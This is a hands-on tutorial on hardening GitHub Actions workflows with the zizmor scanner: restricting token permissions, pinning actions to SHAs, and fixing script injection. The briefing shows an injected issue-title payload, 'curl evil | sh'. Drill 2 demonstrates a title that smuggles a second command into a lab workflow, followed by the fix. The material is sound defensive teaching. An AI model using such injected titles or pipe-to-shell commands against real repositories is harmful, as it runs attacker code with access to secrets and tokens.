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Hands-on IT IT Drills

Day 9: Securing Workflows

Goal: Find and fix the three most common vulnerabilities in workflows: too many permissions for the GITHUB_TOKEN, actions with mutable versions and script injection via foreign text. Tool: zizmor. · Duration: approx. 75 min · Prerequisite: Day 8

Briefing

  • Permissions: Every run gets a GITHUB_TOKEN. What it may do is defined by permissions:. Without it, the repository defaults apply. Rule: contents: read at the top, more only in the job that needs it.
  • Pinning: uses: actions/checkout@v7 points to a Git tag, and tags can be moved. Whoever takes over the repository of an action changes what your workflow runs. A commit SHA is immutable.
  • Injection: ${{ … }} is substituted before the shell sees the command. If it contains text from outside – the title of an issue, the name of a branch –, that text becomes code.
  • zizmor checks workflows statically for these and other problems.
 Title: a"; curl evil | sh; echo "
 run: echo "${{ github.event.issue.title }}"   ──►  echo "a"; curl evil | sh; echo ""
 env: TITEL: ${{ github.event.issue.title }}
 run: echo "$TITEL"                            ──►  echo "$TITEL"   (text only)

Drill 1: zizmor

mkdir -p ~/gha-lab/zizmor
cd ~/gha-lab/zizmor
gh release download v1.32.0 -R zizmorcore/zizmor \
  -p zizmor-x86_64-unknown-linux-gnu.tar.gz
tar xzf zizmor-x86_64-unknown-linux-gnu.tar.gz
mv zizmor ~/.local/bin/
zizmor --version

Expected:

zizmor 1.32.0
cd ~/gha-lab/notes-actions
zizmor -q --offline .github/workflows | tail -1

Expected (the numbers may differ):

68 findings (24 suppressed, 6 unsafe fixes): 0 informational, 5 low, 10 medium, 29 high
  • -q suppresses the progress messages, --offline checks only the files and does not query GitHub.
  • zizmor itself suppresses 24 findings because they are too uncertain in the default mode.

What kinds of findings?

zizmor -q --offline .github/workflows | grep -oE '^[a-z]+\[[a-z-]+\]' | sort | uniq -c

Expected:

      1 error[cache-poisoning]
      2 error[excessive-permissions]
     26 error[unpinned-uses]
      5 help[artipacked]
     10 warning[excessive-permissions]
  • grep -oE extracts only the kind and name of the finding from each line, sort | uniq -c counts identical lines.
  • unpinned-uses: actions without a commit SHA.
  • excessive-permissions: workflows without permissions: or with too much of it.
  • artipacked: actions/checkout leaves the token in .git/config – a later step that uploads the working directory as an artifact gives it away.
  • cache-poisoning: a release workflow uses a cache that any pull request can fill.

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Drill 2: Script injection

A workflow that greets new issues – with a typical mistake. (No colon after “Issue”: : in the middle of an unquoted YAML value makes the file invalid, and GitHub then silently ignores the workflow.)

cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
  issues:
    types: [opened]

permissions:
  contents: read

jobs:
  hallo:
    runs-on: ubuntu-24.04
    steps:
      - run: echo "Neues Issue ${{ github.event.issue.title }}"
EOF
git add .github
git commit -qm "issue: begrüßen"
git push -q

Now an issue with an unusual title:

gh issue create --title 'Test"; echo "INJIZIERT als $(whoami)' --body 'Test'

Expected:

https://github.com/<du>/notes-actions/issues/12

With the ID from gh run list --workflow issue.yml --limit 1, as soon as the run is finished:

gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'

Expected (timestamps shortened):

hallo   Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... Neues Issue Test
hallo   Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... INJIZIERT als ru...

The title became a second command, and $(whoami) ran on the runner. Instead of echo, it could have been curl … | sh – with access to all secrets and the job’s GITHUB_TOKEN. Anyone who can see the public repository may create the issue.

zizmor knows the pattern:

zizmor -q --offline .github/workflows/issue.yml | head -3

Expected:

error[template-injection]: code injection via template expansion
  --> .github/workflows/issue.yml:13:36
   |

The solution: the value comes in via env: as an environment variable. The shell substitutes it, but treats it only as text:

cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
  issues:
    types: [opened]

permissions:
  contents: read

jobs:
  hallo:
    runs-on: ubuntu-24.04
    steps:
      - env:
          TITEL: ${{ github.event.issue.title }}
        run: echo "Neues Issue $TITEL"
EOF
git commit -qam "issue: Titel nur über env"
git push -q
gh issue create --title 'Test2"; echo "INJIZIERT als $(whoami)' --body 'Test'

With the new ID, as soon as the run is finished:

gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'

Expected:

hallo   Run echo "Neues Issue $TITEL"   ... Neues Issue Test2"; echo "INJIZIERT als $(who...

One line, the title as text. Clean up:

gh issue close 12
gh issue close 13

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Drill 3: Limiting permissions

The repository default:

gh api repos/{owner}/{repo}/actions/permissions/workflow

Expected:

{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}

Already good – new repositories give the token read permissions only. Still, permissions: belongs in every workflow: someone can change the default, older repositories and many organizations are still set to write, and whoever reads the file sees right away what the workflow may do.

For ci.yml, hallo.yml, vm.yml and gpu.yml, read is enough. Two lines per file, right after name:, with sed:

sed -i '1a permissions:\n  contents: read' .github/workflows/ci.yml
sed -i '1a permissions:\n  contents: read' .github/workflows/hallo.yml
sed -i '1a permissions:\n  contents: read' .github/workflows/vm.yml
sed -i '1a permissions:\n  contents: read' .github/workflows/gpu.yml
head -4 .github/workflows/ci.yml

Expected:

name: ci
permissions:
  contents: read
concurrency:

1a means: append after line 1, \n separates the two new lines.

zizmor -q --offline .github/workflows | grep -c '^[a-z]*\[excessive-permissions\]'

Expected:

2

Two findings remain, in image.yml and release.yml: there, write permissions (packages: write and contents: write respectively) are at the top level and thus apply to all jobs. It is better to have them only in the job that needs them. The challenge cleans up release.yml; image.yml works the same way.

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Drill 4: Pinning actions

Which commit does actions/[email protected] belong to?

gh api repos/actions/checkout/commits/v7.0.1 --jq .sha

Expected:

3d3c42e5aac5ba805825da76410c181273ba90b1

This is how you pin an action: SHA instead of tag, the version as a comment after it. ci.yml with all actions pinned – and persist-credentials: false against artipacked:

cat > .github/workflows/ci.yml <<'EOF'
name: ci
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

on:
  push:
    branches: [main]
    paths-ignore: ['**.md']
  pull_request:

jobs:
  test:
    strategy:
      matrix:
        os: [ubuntu-24.04, ubuntu-24.04-arm]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
      - name: Statische Prüfung
        run: go vet ./...
      - run: go test ./...
      - name: PR-Info
        if: github.event_name == 'pull_request'
        env:
          VON: ${{ github.head_ref }}
          NACH: ${{ github.base_ref }}
        run: echo "PR $VON -> $NACH" | tee -a "$GITHUB_STEP_SUMMARY"

  build:
    needs: test
    strategy:
      matrix:
        goarch: [amd64, arm64]
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
      - name: Bauen
        env:
          CGO_ENABLED: "0"
          GOOS: linux
          GOARCH: ${{ matrix.goarch }}
        run: >-
          go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_SHA::7}"
          -o notes-api-linux-$GOARCH .
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: notes-api-linux-${{ matrix.goarch }}
          path: notes-api-linux-${{ matrix.goarch }}
          retention-days: 7

  smoke:
    needs: build
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: notes-api-linux-amd64
      - name: Starten und prüfen
        run: |
          chmod +x notes-api-linux-amd64
          NOTES_API_KEY=lab-api-key-123 PORT=8090 ./notes-api-linux-amd64 &
          sleep 1
          curl -fsS localhost:8090/healthz

  lint:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
      - uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0
        with:
          version: v2.15.0
EOF
zizmor -q --offline .github/workflows/ci.yml

Expected:

No findings to report. Good job! (4 suppressed)
  • Lines with a SHA get long. The comment still belongs on the same line.
  • The comment # v7.0.1 is for humans – and for Dependabot and Renovate, which use it to recognize which version is meant and update pinned SHAs (Day 10).
  • persist-credentials: false: checkout does not store the token in .git/config. Whoever needs git push afterwards sets it back to true deliberately.
git commit -qam "ci: Actions gepinnt, keine Zugangsdaten im Checkout"
git push -q

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Checkpoint

zizmor -q --offline .github/workflows/ci.yml .github/workflows/issue.yml | tail -1

Expected:

No findings to report. Good job! (4 suppressed)
grep -c '@[0-9a-f]\{40\} # v' .github/workflows/ci.yml

Expected:

9
gh run list --workflow ci.yml --limit 1 --json conclusion --jq '.[0].conclusion'

Expected (as soon as the run is finished):

success

Challenge

Bring release.yml down to zero findings: pin actions, contents: write only for the release job, contents: read at the top, no cache in the release build.

Hint: permissions: also works per job. setup-go has the switch cache: false. You get the SHAs as in Drill 4.

Solution

cat > .github/workflows/release.yml <<'EOF'
name: release
on:
  push:
    tags: ['v*']

permissions:
  contents: read

jobs:
  build:
    strategy:
      matrix:
        goarch: [amd64, arm64]
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
          cache: false
      - name: Bauen
        env:
          CGO_ENABLED: "0"
          GOOS: linux
          GOARCH: ${{ matrix.goarch }}
        run: >-
          go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_REF_NAME#v}"
          -o notes-api-linux-$GOARCH .
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: notes-api-linux-${{ matrix.goarch }}
          path: notes-api-linux-${{ matrix.goarch }}

  release:
    needs: build
    runs-on: ubuntu-24.04
    permissions:
      contents: write
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          pattern: notes-api-linux-*
          merge-multiple: true
      - name: Prüfsummen
        run: sha256sum notes-api-linux-* > SHA256SUMS
      - name: Release anlegen
        env:
          GH_TOKEN: ${{ github.token }}
          VORAB: ${{ contains(github.ref_name, '-') }}
        run: >-
          gh release create "$GITHUB_REF_NAME" notes-api-linux-* SHA256SUMS
          --repo "$GITHUB_REPOSITORY" --generate-notes --prerelease="$VORAB"
EOF
zizmor -q --offline .github/workflows/release.yml

Expected:

No findings to report. Good job! (4 suppressed)
git commit -qam "release: gepinnt, Rechte pro Job, ohne Cache"
git push -q

cache: false in the release: otherwise a cache that a pull request can fill would influence the binaries you publish.

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Enterprise Note

  • pull_request_target runs in the context of the target repository – with secrets and write permissions, even for pull requests from forks. Whoever checks out and runs the pull request’s code there hands both to strangers. zizmor reports this as dangerous-triggers.
  • Policies for actions: Under Settings → Actions → General, organizations allow only certain actions, such as those by GitHub, verified creators and a list – and can enforce SHA pinning.
  • zizmor in CI: zizmor --format sarif plus upload-sarif stores the findings under Security, like Trivy on Day 8. New workflows with vulnerabilities then show up in the pull request.
  • Secrets in the log: GitHub masks known secrets with ***, but not what is derived from them (e.g. Base64). Mask derived values with ::add-mask::.